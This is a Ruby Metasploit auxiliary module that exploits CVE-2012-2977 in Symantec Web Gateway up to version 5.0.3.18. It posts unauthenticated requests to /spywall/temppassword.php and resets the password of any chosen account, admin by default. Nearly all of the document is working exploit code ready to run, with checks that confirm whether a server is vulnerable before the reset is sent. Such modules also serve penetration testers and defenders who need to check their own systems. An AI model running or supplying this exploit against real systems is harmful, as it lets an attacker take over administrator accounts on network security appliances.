## # @_Kc57 # Symantec Web Gateway <= 5.0.3.18 Arbitrary Password Change ## require 'msf/core' class Metasploit3 < Msf::Auxiliary include Msf::Exploit::Remote::HttpClient def initialize(info={}) super(update_info(info, 'Name' => "Symantec Web Gateway <= 5.0.3.18 Arbitrary Password Change", 'Description' => %q{ This module will change the password for the specified account on a Symantec Web Gatewaye server. }, 'License' => MSF_LICENSE, 'Version' => "$Revision: 0 $", 'Author' => [ 'Kc57', ], 'References' => [ [ 'CVE', '2012-2977' ], [ 'OSVDB', '0' ], [ 'BID', '54430' ], [ 'URL', 'http://www.securityfocus.com/bid/54430' ], ], 'DisclosureDate' => "Jul 23 2012" )) register_options( [ Opt::RPORT(80), OptString.new('USER', [ true, 'The password to reset to', 'admin']), OptString.new('PASSWORD', [ true, 'The password to reset to', 'admin']) ], self.class) end def run print_status("Attempting to connect to https://#{rhost}/spywall/temppassword.php to reset password") res = send_request_raw( { 'method' => 'POST', 'uri' => '/spywall/temppassword.php', }, 25) #check to see if we get HTTP OK if (res.code == 200) print_status("Okay, Got an HTTP 200 (okay) code. Checking if exploitable") else print_error("Did not get HTTP 200, URL was not found. Exiting!") return end #Check to if the temppassword.php page loads or if we are redirected to the login page if (res.body.match(/Please Select a New Password/i)) print_status("Server is vulnerable!") else print_error("Target doesn't seem to be vulnerable!") return end print_status("Attempting to exploit password change vulnerability on #{rhost}") print_status("Attempting to reset #{datastore['USER']} password to #{datastore['PASSWORD']}") data = 'target=executive_summary.php' data << '&USERNAME=' + datastore['USER'] data << '&password=' + datastore['PASSWORD'] data << '&password2=' + datastore['PASSWORD'] data << '&Save=Save' res = send_request_cgi( { 'method' => 'POST', 'uri' => '/spywall/temppassword.php', 'data' => data, }, 25) if res.code == 200 if (res.body.match(/Thank you/i)) print_status("Password reset was successful!\n") else print_error("Password reset failed! User '#{datastore['USER']}' may not exist.\n") end else print_error("Password reset failed!") end end end